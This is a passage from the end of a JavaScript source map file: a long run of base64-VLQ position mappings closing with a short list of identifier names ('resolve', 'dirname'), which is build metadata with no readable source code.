;AAOA,SAAS,iBAAiB,GAAmB;AAC3C,MAAI,EAAE,WAAW,IAAI,EAAG,QAAO,EAAE,MAAM,CAAC;AACxC,SAAO;AACT;AAQA,SAAS,oBAAoB,cAAsB,UAA2B;AAC5E,MAAI,iBAAiB,SAAU,QAAO;AACtC,MAAI,CAAC,aAAa,WAAW,OAAO,EAAG,QAAO;AAC9C,QAAM,aAAa,aAAa,MAAM,QAAQ,MAAM;AAGpD,SAAO;AAAA,IACL,cAAc,CAAC,WAAW,SAAS,IAAI,KAAK,SAAS,WAAW,GAAG,YAAY,IAAI;AAAA,EACrF;AACF;AAEA,SAAS,YAAY,MAAkB,UAAkB,YAA6B;AACpF,MAAI,CAAC,oBAAoB,KAAK,UAAU,QAAQ,EAAG,QAAO;AAC1D,MAAI,KAAK,YAAY,KAAM,QAAO;AAClC,QAAM,gBAAgB,iBAAiB,UAAU;AACjD,QAAM,oBAAoB,KAAK,QAAQ,WAAW,IAAI,IAAI,KAAK,QAAQ,MAAM,CAAC,IAAI,KAAK;AACvF,SAAO,YAAY,iBAAiB,EAAE,KAAK,aAAa;AAC1D;AAEO,SAAS,0BAA0B,MAAwB;AAChE,QAAM,WAAW,kBAAkB,KAAK,IAAI;AAC5C,QAAM,aAAa,cAAc,KAAK,SAAS;AAC/C,MAAI,aAAa,YAAa,QAAO;AACrC,MAAI,aAAa,cAAc,YAAY;AACzC,QAAI;AACF,YAAM,MAAM,IAAI,IAAI,UAAU;AAC9B,aAAO,GAAG,QAAQ,IAAI,IAAI,MAAM;AAAA,IAClC,QAAQ;AAAA,IAER;AAAA,EACF;AACA,SAAO,aAAa,GAAG,QAAQ,IAAI,UAAU,MAAM;AACrD;AASO,SAAS,mBAAmB,UAAiD;AAClF,SAAO,OAAO,aAAa,WAAW,WAAW,SAAS;AAC5D;AAGO,SAAS,iBACd,UACoB;AACpB,SAAO,OAAO,aAAa,WAAW,SAAY,SAAS;AAC7D;AAGA,IAAM,kBAAkB;AAYxB,IAAM,iBAAiB;AAgBhB,SAAS,qBAAqB,MAA0B;AAC7D,QAAM,QAAQ,0BAA0B,IAAI;AAC5C,MAAI,kBAAkB,KAAK,IAAI,MAAM,OAAQ,QAAO,CAAC,KAAK;AAE1D,QAAM,UAAU,cAAc,KAAK,SAAS,EAAE,KAAK;AACnD,MAAI,CAAC,WAAW,eAAe,KAAK,OAAO,EAAG,QAAO,CAAC,KAAK;AAE3D,QAAM,SAAS,QAAQ,MAAM,KAAK;AAClC,QAAM,SAAS,CAAC,KAAK;AACrB,WAAS,OAAO,OAAO,SAAS,GAAG,QAAQ,KAAK,OAAO,SAAS,iBAAiB,QAAQ,GAAG;AAC1F,UAAM,SAAS,QAAQ,OAAO,MAAM,GAAG,IAAI,EAAE,KAAK,GAAG,CAAC;AACtD,QAAI,CAAC,OAAO,SAAS,MAAM,EAAG,QAAO,KAAK,MAAM;AAAA,EAClD;AACA,SAAO;AACT;AAEO,SAAS,0BAA0B,MAAc,MAAyB;AAC/E,QAAM,WAAW,kBAAkB,KAAK,IAAI;AAC5C,QAAM,aAAa,cAAc,KAAK,SAAS;AAC/C,MAAI,aAAa,cAAc,YAAY;AACzC,QAAI;AAEF,aAAO,YAAY,UAAU,IAAI,GAAG,UAAU,IAAI,IAAI,UAAU,EAAE,SAAS,CAAC;AAAA,IAC9E,QAAQ;AAAA,IAER;AAAA,EACF;AACA,SAAO,YAAY,UAAU,IAAI,GAAG,UAAU,UAAU;AAC1D;AAEA,SAAS,gBAAgB,MAAiD;AACxE,QAAM,SAAS,WAAW,KAAK,KAAK;AACpC,SAAO,gBAAgB,SAAS,OAAO,aAAa,CAAC;AACvD;AAEA,SAAS,iBAAiB,MAAkB,MAAuB;AACjE,SAAO,YAAY,MAAM,KAAK,UAAU,IAAI;AAC9C;AAEA,SAAS,2BAA2B,MAAkB,WAAoC;AACxF,MAAI,KAAK,aAAa,aAAc,QAAO;AAC3C,MAAI,KAAK,aAAa,OAAQ,QAAO,UAAU,SAAS;AACxD,MAAI,KAAK,aAAa,QAAS,QAAO,UAAU,SAAS,YAAY,UAAU,SAAS;AACxF,SAAO;AACT;AAEA,SAAS,2BAA2B,MAAkB,YAAuC;AAC3F,MAAI,CAAC,CAAC,cAAc,QAAQ,OAAO,EAAE,SAAS,KAAK,QAAQ,EAAG,QAAO;AACrE,MAAI,KAAK,aAAa,gBAAgB,KAAK,YAAY,KAAM,QAAO;AACpE,SAAO,WAAW;AAAA,IAChB,CAAC,cACC,2BAA2B,MAAM,SAAS,MACzC,KAAK,YAAY,QAAQ,iBAAiB,MAAM,UAAU,IAAI;AAAA,EACnE;AACF;AAMO,SAAS,kBAAkB,WAAmB,MAAuC;AAC1F,SAAO,cAAc,IAAI;AAC3B;AAkBO,SAAS,sBAAsB,UAAqC;AACzE,SAAO,SAAS,YAAY,KAAK,SAAS,KAAK,SAAS,YAAY,IAAI,SAAS;AACnF;AAmBA,SAAS,kBACP,UACA,MACA,UACA,SACS;AACT,MAAI,CAAC,SAAS,QAAQ,yBAA0B,QAAO;AACvD,MAAI,kBAAkB,QAAQ,MAAM,OAAQ,QAAO;AACnD,MAAI,sBAAsB,QAAQ,EAAG,QAAO;AAC5C,QAAM,UAAU,OAAO,KAAK,YAAY,WAAW,KAAK,QAAQ,KAAK,IAAI;AACzE,MAAI,CAAC,QAAS,QAAO;AACrB,SAAO,gBAAgB,SAAS,SAAS,SAAS,QAAQ,uBAAuB,EAAE;AACrF;AAQO,SAAS,mBACd,UACA,MACA,UACA,UAAuC,CAAC,GACd;AAC1B,SAAO,yBAAyB,UAAU,MAAM,UAAU,OAAO,EAAE;AACrE;AAEO,SAAS,yBACd,UACA,MACA,UACA,UAAuC,CAAC,GACrB;AACnB,QAAM,EAAE,MAAM,KAAK,MAAM,IAAI,SAAS;AAKtC,MAAI,aAAa,cAAc;AAC7B,UAAM,aAAa,gBAAgB,IAAI;AACvC,UAAM,aAAa,CAAC,YAAoB;AACtC,YAAM,OAAO,UAAU,OAAO;AAC9B,aACE,KAAK,aAAa,gBAAgB,KAAK,aAAa,UAAU,KAAK,aAAa;AAAA,IAEpF;AACA,eAAW,WAAW,MAAM;AAC1B,UAAI,CAAC,WAAW,OAAO,EAAG;AAC1B,YAAM,OAAO,UAAU,OAAO;AAC9B,UAAI,2BAA2B,MAAM,UAAU;AAC7C,eAAO,EAAE,UAAU,QAAQ,aAAa,SAAS,QAAQ,OAAO;AAAA,IACpE;AACA,eAAW,WAAW,KAAK;AACzB,UAAI,CAAC,WAAW,OAAO,EAAG;AAC1B,YAAM,OAAO,UAAU,OAAO;AAC9B,UAAI,2BAA2B,MAAM,UAAU;AAC7C,eAAO,EAAE,UAAU,OAAO,aAAa,SAAS,QAAQ,MAAM;AAAA,IAClE;AACA,UAAM,aAAa,MAAM,OAAO,UAAU,EAAE,IAAI,SAAS;AACzD,QACE,WAAW,SAAS,KACpB,WAAW;AAAA,MAAM,CAAC,cAChB,WAAW;AAAA,QACT,CAAC,SACC,2BAA2B,MAAM,SAAS,MACzC,KAAK,YAAY,QAAQ,iBAAiB,MAAM,UAAU,IAAI;AAAA,MACnE;AAAA,IACF,GACA;AACA,aAAO,EAAE,UAAU,SAAS,aAAa,MAAM,KAAK,UAAU,GAAG,QAAQ,QAAQ;AAAA,IACnF;AACA,QAAI,WAAW,KAAK,CAAC,SAAS,KAAK,aAAa,gBAAgB,KAAK,YAAY,IAAI,GAAG;AACtF,aAAO,EAAE,UAAU,SAAS,aAAa,MAAM,KAAK,UAAU,GAAG,QAAQ,QAAQ;AAAA,IACnF;AACA,WAAO,EAAE,UAAU,OAAO,QAAQ,UAAU;AAAA,EAC9C;AAEA,QAAM,OAAiB,EAAE,IAAI,yBAAyB,MAAM,UAAU,WAAW,KAAK;AAGtF,aAAW,WAAW,MAAM;AAC1B,QAAI,0BAA0B,SAAS,IAAI,GAAG;AAC5C,aAAO,EAAE,UAAU,QAAQ,aAAa,SAAS,QAAQ,OAAO;AAAA,IAClE;AAAA,EACF;AAGA,aAAW,WAAW,KAAK;AACzB,QAAI,0BAA0B,SAAS,IAAI,GAAG;AAC5C,aAAO,EAAE,UAAU,OAAO,aAAa,SAAS,QAAQ,MAAM;AAAA,IAChE;AAAA,EACF;AAGA,aAAW,WAAW,OAAO;AAC3B,QAAI,0BAA0B,SAAS,IAAI,GAAG;AAC5C,aAAO,EAAE,UAAU,SAAS,aAAa,SAAS,QAAQ,QAAQ;AAAA,IACpE;AAAA,EACF;AAUA,MAAI,kBAAkB,UAAU,MAAM,UAAU,OAAO,GAAG;AACxD,WAAO,EAAE,UAAU,SAAS,QAAQ,UAAU;AAAA,EAChD;AAGA,SAAO,EAAE,UAAU,OAAO,QAAQ,UAAU;AAC9C;","names":["resolve","dirname","dirname","resolve"]}
|